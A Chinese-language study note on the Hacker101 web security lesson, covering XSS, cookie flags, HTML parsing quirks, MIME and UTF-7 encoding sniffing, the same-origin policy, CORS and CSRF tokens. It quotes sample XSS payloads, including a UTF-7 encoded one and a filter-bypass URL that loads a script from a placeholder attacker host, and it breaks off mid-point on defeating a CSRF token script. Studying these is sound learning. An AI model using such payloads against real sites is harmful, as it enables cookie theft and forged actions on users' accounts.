hacker101教学笔记--introduction--the web in depth

hacker101笔记

提前准备：运行java的环境 burp proxy（代理） firefox（浏览器）

xss 可以控制参数，发送JavaScript到服务器，再从服务器反映到浏览器上面
<script>alert(1);</script>

cookie 服务器发送给浏览器的键值对，有效时间
可以设置example.com的子域 为子域添加的cookie只能在该子域及其子域中读取，不能在兄弟姐妹的子域中读取。

e.g. test.example.com 的cookie不能在 test2.example.com中发挥作用， example.com 的cookie可以在foo.test.example.com中发挥作用

cookie两个重要的标志需要知道
secure：cookie只能访问HTTPS页面 HTTPOnly javascript无法读取cookie
服务器在set-cookie头中指示这些标志，set-cookie头首先传递这些标志

如果，从服务器那里传来的是HTTP，没有HTTPOnly，就可以用JavaScript的document.cookie取出来，应用它

HTML目前的解析是HTML5
从安全来说，HTML会被浏览器解析，web应用程序防火墙和其他过滤器解析
如果这些解析存在差异，就往往会带来安全问题，存在利用的漏洞
比如，example.com/vulnerable?name=<script/xss%20src=http://evilsite.com/my.js>
web应用程序上的xss过滤器可能以为script/xss不是脚本，但是Firefox会把它当成HTML执行了，/ 被处理成为空白，从而启用攻击

传统的解析

由于几十年来HTML都很糟糕，浏览器非常善于清除作者之后的代码，而这些条件通常是可以利用的。

1.<script>标签本身将在结束时自动关闭

2.没有闭合的标签会在遇到下一个标签的方括号时自动关闭。

MIME 嗅探

如果它看起来足够像HTML，它将被解析为HTML

这导致了IE 6/7时代的bug，其中包含HTML标签的图像和文本文件将作为HTML执行

encoding 编码嗅探 （主要是旧的浏览器）

如果没有为HTML文档指定编码，浏览器将应用启发式来确定它

如果能够控制浏览器解码文本的方式，则可以更改解析或by pass绕过

比如：在UTF-7文本中放入XSS有效载荷。    +ADw-script+AD4-alert(1);+ADw-/script+AD4-

总之，没有设置好字符集，浏览器根据上下文默认识别出它是UTF-7，按照UTF-7字符集还原它，变成<script>alert(1);</script>

这将通过HTML编码清楚地解析，因为没有“不安全”字符。这就通过上传，绕过了服务器的过滤器，最后到达用户的浏览器

IE8及以下版本，以及许多其他较老的浏览器，将在一个名为UTF-7的页面中看到这一点，并切换解析，使攻击能够成功

同样的事情也会发生在ASCII或utf-8

所以：不管在服务器端还是浏览器端都要始终指定MIME类型，明确好，用什么字符集

同源策略 SOP same-origin policy

浏览器如何限制一些关键的安全功能:

1.您可以通过XMLHttpRequest请求哪些域（ajax）

2.通过单独的框架/窗口访问DOM

同源策略的匹配

SOP的源匹配方式要比cookie严格得多

1.协议必须匹配——没有交叉HTTP/HTTPS的边界

2.端口号必须匹配

3.域名必须完全匹配——没有通配符或子域名遍历

放松SOP

开发人员可以通过更改document.domain文档放松SOP对其通信的控制。在窗口之间发布消息，并使用CORS(跨源资源共享)。

所有这些都为攻击开辟了有趣的途径。

任何人都可以将postMessage调用到IFrame中——有多少页面可以正确验证消息?

千万不要放松SOP，没有任何理由要这样做，这里的设计通常存在问题。

CORS

CORS仍然是非常新的，但启用在一些非常危险的情况下。

从本质上说，您可以将xmlhttprequest创建到源之外的域，但是它们有特殊的头文件来表示请求的来源、添加了哪些自定义头文件，等等。

甚至可以让它传递接收域的cookie，从而允许攻击者潜在地危害登录用户。

这里的安全前景在很大程度上仍有待探索.

**如果看得模棱两可，我建议以后遇到例子再结合起来一起掌握，这里就当知道有这些个东西存在就行了**

跨站点请求伪造   cross-site request forgery      CSRF

当攻击者欺骗受害者进入由攻击者控制的页面时，该页面将数据作为受害者提交给目标站点。

它是当今最常见的漏洞之一，并支持许多其他漏洞，即rXSS。

网站变成了受害者，这是令人难以忍受的。

例如：正常的银行转账网站。这里我们有一个表单，允许用户将钱从他们的帐户转移到目标帐户。

来历不明的请求

当服务器从客户机收到这样一个传输请求时，它如何知道请求实际上来自真实的站点?引用头充其量是不可靠的。

在这里，我们可以看到如果用户登录将自动利用转移资金。

我去其他论坛，伪造一个看起来就像是在同一个网站里正常发出的请求，服务器如何验证这个请求是从本站发来的，还是从其他地方发来的？这就是实际的漏洞，如果用户登录了来历不明的请求，资金将被转移。

服务器是否会发出警告，告诉该请求与正常请求有什么不同？（比如交易要在同一个房间进行，结果你去了另一个房间发来一个交易请求，服务器如何判断你在同一个房间里，还是不一样的房间里？）

防御措施

显然，我们需要一种方法让服务器确定请求来自它自己的页面。

减轻这个bug的最好方法是使用CSRF令牌。token

这些是与用户会话相关联的随机令牌，您可以将其嵌入到您生成的每个表单中。

在这里，您可以看到包含安全的随机CSRF令牌的表单。

在这种情况下，它是32个十六进制的半字节 - 充足的随机性，以防止猜测它。

当服务器获得POST请求时，它应检查是否存在CSRF令牌并匹配与用户会话关联的令牌。

请注意，这通常不会帮助您处理GET请求，但应用程序不应该使用GET请求更改状态。

我已经看到许多网站实施“动态CSRF证明形式”。

他们有一个csrf.js文件，它发回的代码大致相当于：$ csrf ='session CSRF token';

在每个页面上，他们都有<script src =“/ csrf.js”>，然后将CSRF令牌从那里进入到表单中。

所以我所要做的就是在我自己的漏洞利用中加入相同的标签